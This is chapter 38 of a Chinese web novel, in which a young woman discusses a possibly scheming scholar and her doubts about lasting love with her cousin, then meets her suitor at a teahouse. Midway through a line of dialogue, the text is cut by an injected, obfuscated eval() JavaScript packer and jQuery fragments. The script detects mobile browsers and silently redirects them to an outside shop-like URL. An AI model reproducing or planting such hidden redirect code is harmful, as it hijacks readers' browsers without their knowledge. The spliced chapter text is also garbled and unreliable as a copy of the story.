38. 长久

作品:《你当不了我的赘婿啦

    喻有思将带回的范本交给宿新瑶,又将话本售卖情形仔细道明,颇为与有荣焉:“表姐如此才华,能欣赏者自是不独我一个。也算他们好眼光。”


    宿新瑶不是一直自谦的人,顺着喻有思的话笑道:“那还是得先遇上有思这样的伯乐,才有我这话本面世的机遇。”


    “这誊抄的人,倒是写得一手好字。”宿新瑶翻看几页,初时的惊喜过后,越看这字越觉得不错。


    喻有思点头称是,回忆着说:“这人姓陆,是进京赶考的学子。衣着单薄,看着家境清寒,所以来做些抄书的活计补贴家用吧。”


    “而且生得不错。”喻有思肯定地点点头,“不看衣着只看样貌的话,或许会以为是哪家的少爷。”


    宿新瑶翻书的手一顿,不动声色地打量喻有思的神色,淡淡问道:“有思遇上这位公子了?可是闲谈了许多?”


    “恰好遇上。”喻有思觉得有些怪,斟酌着说,“没有谈许多。不过他说很是仰慕表姐这位云间鹤先生呢,还希望表姐能继续写话本。”


    “表姐,是有何处不妥吗?”


    宿新瑶合上话本不再去看,眉间有些忧色:“并无不妥。但他既能早入上京,想必是得知临州贪污便知圣上会需广招学子,特开春闱,是个聪明人。那他与你相见,或是巧合,或是蓄意。”


    “蓄意?”喻有思想到自己只是投亲宿府的表小姐,并无显赫家世,只是略有家财,可是她行事小心,并不起眼,“图我什么?莫非图财?可上京家财万贯者应当不在少数,我哪里能富裕到惹人计算呢。”


    宿府虽然无别家那些勾心斗角的阴谋算计,可宿新瑶在上京也没少听到这些鬼蜮伎俩,凡事都会多想几分:“有思,你是忘了长公主?得她青眼,接近你可是一本万利的好买卖。”


    喻有思自己知道这所谓长公主的青睐,完全是因着萧执衡,因此从未往这方面去想,可是旁人的确不知。


    宿新瑶见喻有思怔住,安抚道:“只是想让你多个心眼,别被有心之人诓骗,倒也不是说陆公子真是怀着这样的心思。”


    “不用担心。”宿新瑶语气和缓,“你尚在孝期,无需立刻定下婚事,祖母借此推了不少上门说亲的世家。待到风波过后,祖母才好为你挑到真心求娶的良人。”


    什么?喻有思睁大眼,惊道:“求、求娶我?可是表姐表兄们都未婚配,如何也不该由我先呀。”


    “有思怎么这样惊讶?”宿新瑶微微一笑,好像了然一切的神情让喻有思偏开目光,“祖母就是看好了人家,也一定会问问你的意思。至于我和哥哥们,也是一样的,先后倒是无妨。”


    喻有思还想与萧执衡悄悄谈情到感情渐淡后再寻一赘婿回临州,到时她也可自己回上京看望宿家众人,万万不想真嫁了人永远留在这里。


    只是想到萧执衡,她从心底泛上的甜意里总是夹杂着几丝不知前路的怅惘。


    长久二字,说来容易,实现却难。


    “表姐,你会心悦什么样的男子?”宿新瑶的话本里也谈情,只是每一本的男子都不同,很是多样。


    “这我倒未曾想过。”宿新瑶思考着,慢慢答道:“但肯定不能蠢,我们家从没有过蠢人。除此之外,人还要正直、专情。”


    说到专情宿新瑶认真点头:“我们宿家不惯着那些三妻四妾的风气。不仅哥哥们不能纳妾,我们也不能嫁这样的人家。”


    “有思你也一样。便是此生再也不嫁了,也绝不能寻那三心二意之徒。”宿新瑶说着话风一转,“但若是所托非人,万不能因此便觉得余生了无意趣。世上男子千千万,我们可不能学那吊死在一棵树上的,何况除了情爱,世上值得留恋之事不在少数。”


    这一通话下来,喻有思愣神过后,觉得宿新瑶或许是误会了什么,在开解她。


    她当然不能吊死在名叫萧执衡的树上。但就算萧执衡的情意不变,她能永远对他心动吗?会不会有一天,她觉得他和其他人没什么分别了。


    这才是她真正感到迷茫的。


    “表姐放心,我自然明白。”喻有思犹豫片刻还是说道,“其实我怕往后自己会变心,做那负心人。”


    宿新瑶没料到喻有思的困扰竟是如此,怔了半晌,犹豫地肯定:“也是,感情之事未必长久,但只要好聚好散,也不算负心人吧。”


    “表姐或许觉得我奇怪吧。”喻有思轻叹,“我也这样觉得。明明阿父阿母在我有记忆以来,一直相爱着,我却这样不信长久。


    “但我总想着,阿母被害早逝,阿父思念成疾,他们的长久,是双双逝去的长久。我倒宁愿他们变心,劳燕分飞。”


    宿新瑶皱眉,不知道说什么好。


    喻有思收起愁绪微微一笑:“表姐当我说笑就好,无需放在心上。”


    暮色沉沉,门房来报,又有人寻银丹。


    银丹茫然地出去,不解地回来禀报喻有思:“是识风,说王爷约小姐茶楼一聚。这不昨儿才见过吗?”


    “小姐见吗?识风还在等我回信呢。可是天色已晚,我觉得还是不见得好。”银丹确信地点头。


    喻有思也不想见,她还心烦着,又觉得上次见面两人过于亲近,烈火烹油,还是先彼此冷一冷更好。


    “好嘞,那我去回绝了。我瞧他也不急,想必没什么重要的事。”


    池兰淡淡插话:“识风那个模样,着急得起来吗?”


    银丹笑出声来:“那个呆木头,怕是着火了也是一副木头模样。”


    且不说萧执衡被拒绝是如何焦急踱步,喻有思只要没答应见面,他就一天往宿府送一封信来,惹得银丹拿完信抱怨道:“这下好了,门房都说识风是我的相好了,天天见天天见,王爷就不能换个人来送信吗。下次池兰你去收信吧,我看这信还没送到头呢。”


    池兰擦着长剑,毫不犹豫拒绝:“我看识风也挺想见你的。银丹,你真的不觉得他对你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036420|190146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有意?”


    银丹啊一声,很是茫然:“他那个样子哪里像是对我有意?”左思右想她摇摇头甩开念头,“管他作甚呢,我反正不嫁人,要一直陪着小姐的。”


    喻有思拿出放信的木匣,慢慢拆开信,听此话也打趣道:“我也觉得识风不错,银丹若是喜欢,我替你说亲去。”


    银丹一跺脚跑去小厨房不理她们:“就你们坏,不听不听,我去做糕点了。”


    萧执衡送来的信都很简短,但每封的内容都差不离,无非是想见、思念、委屈、可怜这些情绪交杂,喻有思看每一封都觉得很有意思。


    只是没有一封说明想见面的缘由。


    因为才见过面,依喻有思对萧执衡的理解,若无事由他不至于如此,但应当不算大事。


    拖了这许多天,喻有思已经逗弄够了,怕萧执衡真的生气,就打算等银丹做完点心一同去。


    空手去显得不够有诚意,喻有思拿出最后一罐糖桂花,摸到小厨房和银丹一起做起糕点。


    拿上新鲜出炉的桂花米糕,喻有思到茶馆请识风去禀王爷。等待中途,闲着无趣,她就想着去画坊看一看再回来。


    好巧不巧,正要走时又遇上陆与淮。


    这位陆公子,见到喻有思眼睛一亮,上前一步行礼道:“小姐请留步。”


    因为宿新瑶的一番话,喻有思看陆与淮多了几分警惕,退后一步才问:“何事?”


    陆与淮神色清明,但带着一丝羞赧,从袖中掏出一封有皱痕的信:“在下冒昧,觉得云间鹤先生话本中有几处写得很好,想与先生探讨。不知小姐能否替在下,将信交给先生?”


    喻有思的目光从陆与淮脸上滑到他手里的信纸,心中思忖,这人到底有没有坏心眼,她真带信给宿新瑶,会不会不太妥当。


    陆与淮知道自己唐突,但这信已在他袖中放了多日,见到喻有思时还是没忍住:“如果冒犯小姐,就请当作从无此事。”


    看着很诚恳呢。


    喻有思于是抽过陆与淮手里的信:“信我可以帮你传,但是先生是否愿意回你,我就不知道了。”


    “自然,多谢小姐。”陆与淮低头拱手。


    说起来,离春闱没多久了,陆公子又有时间抄书、又有心思与云间鹤通书,不知道他预备得如何,敢这样分心难道是很有把握?


    喻有思若有所思地回到茶楼,见识风守在大堂,便知萧执衡已经到了,但却没见着他。


    “王爷在雅间等小姐。”


    今日银丹闹脾气没跟来,喻有思让池兰等在识风旁,自己上了楼去。


    推开一扇雕花格扇门,喻有思才迈进一只脚,就一下被拉进去。门被用力关上,而她被护住头压在木门上。


    腰被揽紧,右手被扣住,脖颈间一个脑袋蹭来蹭去。


    这是怎么了?


    窗口的青布帘子都放下,屋内光线昏暗,喻有思轻轻地念他的名字:“观复?”